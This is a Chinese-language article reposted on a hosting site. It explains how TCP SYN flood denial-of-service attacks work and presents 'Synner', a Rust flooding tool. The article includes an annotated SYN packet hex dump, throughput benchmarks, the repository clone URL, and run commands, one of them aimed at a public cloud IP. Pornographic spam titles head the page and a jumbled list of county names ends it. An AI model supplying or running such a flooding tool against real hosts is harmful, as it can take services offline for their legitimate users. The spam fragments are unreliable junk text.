亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

TCP SYN Flood是怎么實現

發布時間:2021-12-17 17:27:55 來源:億速云 閱讀:234 作者:柒染 欄目:網絡安全

這篇文章將為大家詳細講解有關TCP SYN Flood是怎么實現,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

摘要

拒絕服務攻擊(DDoS)從1970年出現直到今天都依然在作祟,并給全球范圍內的各大組織帶來了不可估量的損失。在這篇文章中,我們將跟大家介紹一種特定的DoS攻擊,即TCP SYN Flood攻擊,并介紹一款名叫Synner的工具。

該工具采用Rust開發,由libpnet驅動,該工具目前仍處于開發狀態(WIP),不過現在的功能已經足以發布出來跟社區人員共享了。

介紹

Synner能夠向目標快速持續地發送SYN數據包奧,并引起目標拒絕服務。一般來說,編寫并將這類攻擊工具開源出來,使很多安全社區的研究人員所詬病的,但我個人并不這樣認為,因為我們只有清楚地知道攻擊的具體實現方式,我們才能更好地保護自己。

TCP SYNFlood攻擊原理

TCP SYNFlood攻擊利用的是TCP的三次握手(SYN -> SYN/ACK -> ACK),過程如下圖所示:

TCP SYN Flood是怎么實現

核心思想就是同步發送SYN數據包,這樣的操作對于發送方(攻擊者)來說是非常容易實現的,而對于接收方(目標)來說會需要消耗更多的資源去接收和處理數據包。除此之外,在發送完SYN數據包之后,我們不需要等待接收端返回的SYN/ACK數據包,我們只需要繼續向對方發送SYN數據包并讓服務器自己去處理就可以了。這樣一來,當合法用戶嘗試連接服務器時,服務器已經有大量SYN連接需要去處理,因此將無法及時相應合法用戶的請求。

TCP SYN Flood是怎么實現

對于接收方來說還有一個難題,就是請求源是可以偽造的,尤其是src端口,這就增加了屏蔽非法請求的難度。

下面給出的是一個隨機TCP SYN數據包的十六進制形式:

0000   08 00 27 cb 9d 0b 48 4d 7e 9c 79 4b 08 00 4500   ..'?..HM~.yK..E.0010   00 34 7e b2 40 00 80 06 b8 b5 c0 a8 21 01 c0a8   .4~2@...?μà¨!.à¨0020   21 0a f8 e0 b5 58 f4 fa f1 e9 00 00 00 00 8002   !.?àμX?ú?é......0030   fa f0 66 5b 00 00 03 03 08 04 02 02 04 05 b401   úef[..........′.0040   01 00

解析出來之后的結果如下:

0x08,0x00, 0x27, 0xcb, 0x9d, 0x0b,     //Destination MAC0x48,0x4d, 0x7e, 0x9c, 0x79, 0x4b,      //Source MAC0x08,0x00,                                                //Type (IPv4)0x45,                                                          //IPv4 Header Length0x00,                                                          //Explicit Congestion Notification (congestion control)0x00,0x34,                                                //Total length0x7e,0xb2,                                                //Identification number0x40,0x00,                                                //Fragment Offset (Don't Fragment packet for us, it's under 1460 bytes)0x80,                                                          //Time to Live (128)0x06,                                                        //IP protocol version (6/TCP)0xb8,0xb5,                                               //Header checksum using internet checksum technique (validation disabled)0xc0,0xa8, 0x21, 0x01,                          //Source IP0xc0,0xa8, 0x21, 0x0a,                          //Destination IP0xf8,0xe0,                                                 //TCP Source Port (max 65535)0xb5,0x58,                                                //TCP Destination Port (max 65535)0xf4,0xfa, 0xf1, 0xe9,                            //Sequence number, generally random to avoid other variants of TCP    attacks0x00,0x00, 0x00, 0x00,                         //TCP ACK value set to 0 since this is just a SYN packet0x80,0x02,                                                //TCP flags (only SYN [00000010] bit is set)0xfa,0xf0,                                                  //TCP window size0x66,0x5b,                                                //TCP checksum0x00,0x00,                                     //TCP urgent pointer set to 0,    useful with stuff like FTP that use port 20 &21 for control & transfer0x03,0x03, 0x08, 0x04,                         //TCP Options0x02,0x02, 0x04, 0x05,    0xb4,            // TCP Options values0x01,0x01, 0x00                             //TCP NOP option (padding)

Synner到底有多快?

Synner一開始的速度還是比較慢的,首先我當時還沒有使用任何編譯器來對其進行優化,其次我當時選擇使用的是pnet_datalink::DataLinkSender::send_to而不是pnet_datalink::DataLinkSender::build_and_send,這也就意味著我選擇克隆數據包的方式還不夠完美。因此,Synner當時發送1000000個TCPSYN數據包需要花29.48秒,相當于每秒鐘發送33921個數據包,簡直是受不了。

不過經過優化之后的結果還是比較好的,數據如下:

TCP SYN Flood是怎么實現

原始的Powershell輸出如下:

PS C:\Users\jdb\Projects\synner\target\release>Measure-Command {./synner 192.168.33.10"\Device\NPF_{927C716F-3AD0-42D6-89A1-0B121C6F5413}"}  Days              : 0Hours             : 0Minutes           : 0Seconds           : 6Milliseconds      : 736Ticks             : 67369563TotalDays         : 7.797403125E-05TotalHours        : 0.00187137675TotalMinutes      : 0.112282605TotalSeconds      : 6.7369563TotalMilliseconds: 6736.9563   PSC:\Users\jdb\Projects\synner\target\release> pushd ../debugPSC:\Users\jdb\Projects\synner\target\debug> Measure-Command {./synner192.168.33.10 "\Device\NPF_{927C716F-3AD0-42D6-89A1-0B121C6F5413}"}  Days              : 0Hours             : 0Minutes           : 0Seconds           : 19Milliseconds      : 688Ticks             : 196886353TotalDays         : 0.00022787772337963TotalHours        : 0.00546906536111111TotalMinutes      : 0.328143921666667TotalSeconds      : 19.6886353TotalMilliseconds: 19688.6353

工具要求

1.   rustc/cargov1.27.0

2.   WinPcapfor libpnet(Windows)

工具使用

首先使用下列命令克隆項目源碼:

git clone https://github.com/JuxhinDB/synner.git

然后運行下列命令:

cargo run TARGET_IP INTERFACE_NAME

為了確保能夠導出完整的網絡接口列表,請確保使用管理員權限運行命令行工具。

如果你無法確定接口名稱,你可以使用\DEVICE\來查看接口列表,例如:

cargo run 192.168.33.10 \DEVICE\   Compiling synner v0.1.0(file:///C:/Users/juxhindb/Projects/synner)    Finished dev [unoptimized + debuginfo]target(s) in 1.63s     Running `target\debug\synner.exe192.168.33.10 \DEVICE\`Listof Available Interfaces Interfacename: "\\Device\\NPF_{B1BBC7C0-C3CF-490B-A640-00ABDB86F989}"InterfaceMAC: 0a:00:27:00:00:12InterfaceIP: 192.168.99.1 Interfacename: "\\Device\\NPF_{AD266AD1-7AE0-4360-8EE5-ED6283B43B9C}"InterfaceMAC: 2a:56:5a:4f:fc:e9InterfaceIP: 0.0.0.0 Interfacename: "\\Device\\NPF_{2288F93F-E56C-4F71-8B8E-C385BE71421F}"InterfaceMAC: 1a:56:5a:4f:fc:e9InterfaceIP: 0.0.0.0

使用樣例

運行下列命令對一個DigitalOcean測試用例進行測試:

cargo run 206.189.96.237 \Device\NPF_{F94968E8-FBA0-410D-8CD3-F205AEAD4DC9}

在下面這個GIF中,底部是運行Synner的界面,右邊是一個SSH連接,用來查看TCP連接信息(sudotcpdump "tcp[tcpflags] & (tcp-syn) != 0" -i eth0 -n),當我成功對第一個目標進行TCP SYN Flood攻擊之后,左邊顯示的是我嘗試對第二個目標進行攻擊的畫面。

TCP SYN Flood是怎么實現

關于TCP SYN Flood是怎么實現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

太仆寺旗| 新乡县| 建始县| 措勤县| 巫溪县| 紫金县| 崇明县| 东台市| 南华县| 九江市| 定西市| 库伦旗| 从江县| 阳原县| 青州市| 盐亭县| 高台县| 翁牛特旗| 东源县| 右玉县| 晋江市| 涟源市| 错那县| 山丹县| 阿克| 沽源县| 南通市| 郧西县| 临湘市| 越西县| 阳春市| 莱芜市| 武强县| 边坝县| 广元市| 徐闻县| 嘉祥县| 巴林右旗| 曲沃县| 太白县| 北安市|